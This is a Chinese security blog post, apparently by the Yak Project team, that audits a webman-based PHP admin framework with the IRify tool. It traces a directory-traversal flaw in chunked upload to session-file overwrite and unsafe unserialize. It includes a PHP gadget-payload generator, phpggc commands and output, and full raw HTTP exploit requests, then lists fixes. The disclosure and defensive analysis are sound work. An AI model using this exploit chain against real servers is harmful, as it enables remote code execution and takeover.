跳到主要内容

代码审计:IRify 定位某 Admin 框架文件上传与反序列化漏洞链

· 阅读需 12 分钟
Yak Project
网络安全垂直语言团队

今天我们将通过一个实际案例,展示如何通过 IRify 辅助定位并最终验证某 admin 中的一个组合漏洞。

某 Admin 是一款基于 webman + Layui 开发的高性能 HTTP 服务框架,提供了简单易用的权限后台管理系统。它具有以下特点:

漏洞概述

本漏洞是某 Admin 框架中存在的一个严重安全隐患,涉及文件上传功能的目录穿越漏洞与序列漏洞链。攻击者可以利用这一漏洞链上传 PHP 文件,从而完全控制受影响的服务器系统。

漏洞定位

使用 IRify 内置 PHP 规则,对某 Admin 源码进行扫描,结果如下图:

从扫描结果的第一印象就发现了很多过滤不严格的审计结果,点击审计详情后,多个 source 指向了 Upload.php 文件:

我们尝试写一个简单的 SyntaxFlow 规则来尝试找到入口为 HTTP 请求相关的,过滤不严格的:

request().* as $source
.move?(* #{
include: <<<CODE
* & $source
CODE
}->) as $sink

这个规则的含义是:

定义污染源( Source ):request().* as $source 将所有 HTTP 请求输入(包括 GET、POST 参数、文件上传等)标记为污染源,并命名为 $source。这是数据流分析的起点,代表着所有可能被攻击者控制的输入。

追踪数据流传播:.move?(* #{ ... }->) 表示追踪污染数据在程序执行路径中的流动。其中 * 表示可以通过任意中间变量、函数调用或数据转换,只要数据流保持连贯性。

执行审计,如下图:

入口点 (Source)

漏洞入口点位于应用的文件上传功能中,

具体位于 app/index/controller/User.phpupload 方法:

/**
* 文件上传函数
*/
public function upload(): Response
{
if(request()->isPost()) {
$response = Upload::instance()->upload();
if(empty($response)) {
return $this->error(Upload::instance()->getError());
}
return json($response);
}
return json(ResultCode::SUCCESS);
}

这个方法接收用户的 POST 请求,并将处理逻辑委托给 Upload 类的 upload 方法。

参数处理 (Upload 类)

Upload.phpupload() 方法中存在不安全的参数处理:

public function upload()
{
$param = request()->all();
$action = input('action');
$file = request()->file('file');
// ... 省略部分代码 ...
if($action == 'marge') {
return $this->multiMarge($param);
} else if (isset($param['chunkId']) && $param['chunkId']) {
return $this->multiPartUpload($file, $param);
}

// ... 省略部分代码 ...
}

这里根据请求参数中的actionchunkId 来决定处理方式,其中 multiPartUpload 方法包含了漏洞点。

漏洞关键点:分片上传处理不当

multiPartUpload 方法中存在严重的安全问题:

public function multiPartUpload(object $file, array $params = [])
{
$index = $params['index'];
$chunkId = $params['chunkId'];
$chunkName = $chunkId . '_' . $index . '.part';
// 校验分片名称 - 这里的验证存在问题
if(!preg_match('/^[0-9\-]/', $chunkId)) {
$this->setError('文件信息错误');
return false;
}
$this->getFileSavePath($file);
$chunkSavePath = root_path('runtime/chunks');
$this->resource = $chunkSavePath . $chunkName;
if(!$file->move($this->resource)) {
$this->setError('请检查服务器读写权限!');
return false;
}

// ... 省略部分代码 ...
}
  • 不安全的正则表达式验证**:
if (!preg_match('/^[0-9\-]/', $chunkId)) {
$this->setError('文件信息错误');
return false;
}

这个正则表达式只验证 $chunkId第一个字符是否为数字或破折号,而没有验证整个字符串。这使得我们可以构造如:1/../../sessions/session_xxx 这样的路径,从而实现目录穿越。

  • 路径拼接没有安全处理
$chunkName = $chunkId . '_' . $index . '.part';
$this->resource = $chunkSavePath . $chunkName;

直接将用户可控的 $chunkId 拼接到文件路径中,没有进行任何路径规范化或安全检查。

会话文件存储及处理

config/session.php 中,配置了会话文件的存储位置:

'file' => [
'save_path' => runtime_path() . '/sessions',
],

通过查阅资料发现,workerman 会话处理流程解析如下:

  • 采用文件方式存储会话数据
  • 当系统启动时,会根据 config/session.php 中的配置选择会话处理器
  • 由于配置中指定了 file 类型的存储,系统会初始化 FileSessionHandler 作为会话处理器
  • 会话文件存储在 runtime/sessions 目录下,格式为 session_[会话ID]
  • 当用户请求包含 SESSION_ID 时,系统会尝试从该路径加载对应的会话文件

FileSessionHandler.php 中,会话文件的读取逻辑如下:

public function read(string $sessionId): string|false
{
$sessionFile = static::sessionFile($sessionId);
clearstatcache();
if(is_file($sessionFile)) {
if(time() - filemtime($sessionFile) > Session::$lifetime) {
unlink($sessionFile);
return false;
}
$data = file_get_contents($sessionFile);
return $data ?: false;
}
return false;
}

当系统需要读取会话数据时,它会调用 FileSessionHandlerread 方法,该方法会根据会话 ID 构建文件路径,然后读取文件内容。这个文件内容随后会被传递给 Session 类进行处理。

反序列化触发点_

Session.php 的构造函数中存在不安全的反序列化操作:

public function __construct(string $sessionId)
{
if(static::$handler === null) {
static::initHandler();
}
$this->sessionId = $sessionId;
if($data = static::$handler->read($sessionId)) {
$this->data = unserialize($data); // 这里进行了不安全的反序列化操作
}
}

当读取会话数据后,直接对其进行反序列化,而没有进行任何类型检查或过滤。如果攻击者能够控制会话文件的内容,就可以通过反序列化漏洞执行任意代码。

完整漏洞利用链

攻击流程概述)

通过前面的分析利用此漏洞的完整流程如下:

(1)构造请求 1:通过分片上传功能,利用目录穿越漏洞覆盖会话文件,内容为恶意的序列化数据

(2)构造请求 2:发送合并(actionmarge)请求触发文件的实际写入

(3)触发反序列化**:设置 SESSION_ID 为前两步上传的恶意 Seesion,请求任意页面加载会话

攻击流程测试

通过上面的分析,我们知道了漏洞的入口点为 Admin 后台上传处,某 Admin 允许自主注册,因此我们先注册一个用户:

登录后,意外地没有找到上传的界面,但是通过代码我们可以知道,这就是一个很标准的文件上传操作,可以直接通过 WebFuzzer 进行构造,在此之前我们需要构造 序列化的 Payload,随后直接通过构造裸 HTTP 包进行文件上传。

步骤一:序列化 Payload 构造

本框架中使用了Guzzle,我们使用的Payload 是一个经过序列化的 GuzzleHttp\Cookie\FileCookieJar 对象。

这个类在执行 __destruct 方法时会将 Cookie 写入到指定文件。

<?php
// 生成GuzzleHttp\Cookie\FileCookieJar序列化Payload的PHP代码
functiongenerateFileCookieJarPayload($phpCode = '<?php phpinfo();?>', $filename = 'ttest.php')
{
// 手动构造序列化数据
$setCookieData = [
'Name' => 'aaa',
'Value' => $phpCode,
'Domain' => 'testDomain',
'Path' => '/',
'Max-Age' => null,
'Expires' => null,
'Secure' => false,
'Discard' => false,
'HttpOnly' => false
];

// 构造SetCookie序列化字符串
$setCookie = 'O:27:"GuzzleHttp\\Cookie\\SetCookie":1:{';
$setCookie .= 's:33:"' . "\0" . 'GuzzleHttp\\Cookie\\SetCookie' . "\0" . 'data";';
$setCookie .= 'a:9:{';

foreach($setCookieData as $key => $value) {
$setCookie .= 's:' . strlen($key) . ':"' . $key . '";';

if($value === null) {
$setCookie .= 'N;';
} elseif(is_bool($value)) {
$setCookie .= 'b:' . ($value ? '1' : '0') . ';';
} else {
$setCookie .= 's:' . strlen($value) . ':"' . $value . '";';
}
}

$setCookie .= '}}';

// 构造FileCookieJar序列化字符串
$fileCookieJar = 'O:31:"GuzzleHttp\\Cookie\\FileCookieJar":4:{';
// cookies属性
$fileCookieJar .= 's:36:"' . "\0" . 'GuzzleHttp\\Cookie\\CookieJar' . "\0" . 'cookies";';
$fileCookieJar .= 'a:1:{i:1;' . $setCookie . '}';

// strictMode属性
$fileCookieJar .= 's:39:"' . "\0" . 'GuzzleHttp\\Cookie\\CookieJar' . "\0" . 'strictMode";';
$fileCookieJar .= 'b:0;';

// filename属性
$fileCookieJar .= 's:41:"' . "\0" . 'GuzzleHttp\\Cookie\\FileCookieJar' . "\0" . 'filename";';
$fileCookieJar .= 's:' . strlen($filename) . ':"' . $filename . '";';

// storeSessionCookies属性
$fileCookieJar .= 's:52:"' . "\0" . 'GuzzleHttp\\Cookie\\FileCookieJar' . "\0" . 'storeSessionCookies";';
$fileCookieJar .= 'b:1;}';

return $fileCookieJar;
}

或者直接使用 phpggc 快速生成:

./phpggc -l | grep guzzle
Guzzle/FW1 4.0.0-rc.2 <= 7.5.0+ File write __destruct

通过参数可知本条 gadget chain 合适。

(1)类型是文件写入(File write)

(2)触发向量是__destruct方法

(3)版本兼容范围广(4.0.0-rc.2 到 7.5.0+),覆盖了本框架中使用的 Guzzle 版本

php ./phpggc Guzzle/FW1 ttest.php .\phpinfo.php -u
O%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A36%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00cookies%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A27%3A%22GuzzleHttp%5CCookie%5CSetCookie%22%3A1%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CCookie%5CSetCookie%00data%22%3Ba%3A3%3A%7Bs%3A7%3A%22Expires%22%3Bi%3A1%3Bs%3A7%3A%22Discard%22%3Bb%3A0%3Bs%3A5%3A%22Value%22%3Bs%3A21%3A%22%3C%3Fphp%20phpinfo%28%29%3B%20%3F%3E%0D%0A%22%3B%7D%7D%7Ds%3A39%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00strictMode%22%3BN%3Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3Bs%3A9%3A%22ttest.php%22%3Bs%3A52%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00storeSessionCookies%22%3Bb%3A1%3B%7D

这个 payload 利用了 PHP 的对象序列化机制,当反序列化 FileCookieJar 对象时,对象的 __destruct 方法会被调用,进而触发文件写入操作,将恶意 PHP 代码写入到服务器上的某个位置。

步骤二:构造恶意请求,覆盖会话文件

攻击者发送包含目录穿越的分片上传请求:

POST /index/user/upload?chunkId=1/../../sessions/session_tXEWsmpuZEoZqJqMmSgqUYUFZzMwuRvL&index=1&fileExt=jpg HTTP/1.1
Host: 192.168.3.3:8787
Cookie: SESSION_ID=bbd4d396f614da41a0cb74da972ff844; uid=2; token=250e4ef8162d56748202c5ad95f1058c; nickname=go0p
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGm1kPOLTg3kmc3MF
Content-Length: 733
------WebKitFormBoundaryGm1kPOLTg3kmc3MF
Content-Disposition: form-data; name="file"; filename="1."
Content-Type: image/jpeg
{{urldec(O%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A36%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00cookies%22%3Ba%3A1%3A%7Bi%3A1%3BO%3A27%3A%22GuzzleHttp%5CCookie%5CSetCookie%22%3A1%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CCookie%5CSetCookie%00data%22%3Ba%3A9%3A%7Bs%3A4%3A%22Name%22%3Bs%3A3%3A%22aaa%22%3Bs%3A5%3A%22Value%22%3Bs%3A19%3A%22%5C%3C%3Fphp+phpinfo%28%29%3B%3F%3E%22%3Bs%3A6%3A%22Domain%22%3Bs%3A10%3A%22testDomain%22%3Bs%3A4%3A%22Path%22%3Bs%3A1%3A%22%2F%22%3Bs%3A7%3A%22Max-Age%22%3BN%3Bs%3A7%3A%22Expires%22%3BN%3Bs%3A6%3A%22Secure%22%3Bb%3A0%3Bs%3A7%3A%22Discard%22%3Bb%3A0%3Bs%3A8%3A%22HttpOnly%22%3Bb%3A0%3B%7D%7D%7Ds%3A39%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00strictMode%22%3Bb%3A0%3Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3Bs%3A9%3A%22ttest.php%22%3Bs%3A52%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00storeSessionCookies%22%3Bb%3A1%3B%7D)}}
------WebKitFormBoundaryGm1kPOLTg3kmc3MF--
返回包 body 如下
{
"code": 200,
"msg": "分片上传成功",
"url": "",
"chunkId": "1/../../sessions/session_tXEWsmpuZEoZqJqMmSgqUYUFZzMwuRvL",
"index": 1
}

这里的关键是 chunkId 参数值为:

1/../../sessions/session_tXEWsmpuZEoZqJqMmSgqUYUFZzMwuRvL,这构成了一个目录穿越路径,指向会话文件。

上传的内容是一个经过序列化的 GuzzleHttp\Cookie\FileCookieJar 对象,包含了要执行的 PHP 代码。由于正则表达式 /^[0-9\-]/ 只检查第一个字符,而 1 符合这个要求,所以这个请求能够通过验证。

步骤三:发送合并请求,触发文件写入

POST /index/user/upload?action=marge&chunkId=-/../../sessions/session_tXEWsmpuZEoZqJqMmSgqUYUFZzMwuRvL&fileExt=jpg&mimeType=image/jpeg&chunkCount=2&fileSize=500&source=1 HTTP/1.1
Host: 192.168.3.3:8787
Cookie: SESSION_ID=bbd4d396f614da41a0cb74da972ff844; uid=2; token=250e4ef8162d56748202c5ad95f1058c; nickname=go0p
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Origin: http://127.0.0.1:8093
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGm1kPOLTg3kmc3MF
Content-Length: 176
------WebKitFormBoundaryGm1kPOLTg3kmc3MF
Content-Disposition: form-data; name="file"; filename="1."
Content-Type: image/jpeg
------WebKitFormBoundaryGm1kPOLTg3kmc3MF--

这个请求通过 action=marge 参数触发合并操作,目标依然是前面的同一个会话文件。

步骤四:触发反序列化

我们找到后台登录页面,用户名和密码随意输入,通过设置 SESSION_ID 为前两步的Seesion,点击登录:

POST /admin/login/index HTTP/1.1
Origin: http://192.168.3.3:8787
Referer: http://192.168.3.3:8787/admin/login
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Cookie: SESSION_ID=tXEWsmpuZEoZqJqMmSgqUYUFZzMwuRvL; uid=2; token=250e4ef8162d56748202c5ad95f1058c; nickname=go0p
Host: 192.168.3.3:8787
Content-Length: 33
name=go0p&pwd=1231312313&captcha=

当服务器处理这个请求时,会尝试加载我们前面生成的恶意会话数据,并反序列化其中的内容,从而触发恶意代码执行。

漏洞防护措施

针对这个漏洞,可以采取以下防护措施:

  • 对文件路径进行严格的验证,不允许包含目录穿越字符:
  • 安全的反序列化,使用 PHP 7.0+ 提供的 unserialize 第二个参数,限制可反序列化的类:
// 修改前(存在漏洞)
$this->data = unserialize($data);
// 修改后(安全)
$this->data = unserialize($data, ['allowed_classes' => false]);
  • 路径规范化,在使用用户输入构建文件路径之前,进行路径规范化处理

总结

本次分析的某 Admin 框架漏洞是一个典型的安全验证不足导致的文件上传漏洞。攻击链包括:

(1)利用目录穿越漏洞覆盖会话文件

(2)利用 PHP 的反序列化机制执行恶意代码

这类漏洞提醒我们:

(1)对用户输入(特别是涉及文件路径的输入)进行严格验证是至关重要的

(2)在处理反序列化数据时,应始终使用安全的方式,限制可反序列化的类

(3)遵循最小权限原则,降低攻击造成的潜在危害

(4)定期进行安全审计,及时发现并修复安全漏洞

开发安全的 Web 应用程序需要持续关注安全最佳实践,尤其是在处理用户输入和执行潜在危险操作(如反序列化)时更应谨慎。


本文首发于 Yak Project 公众号,阅读原文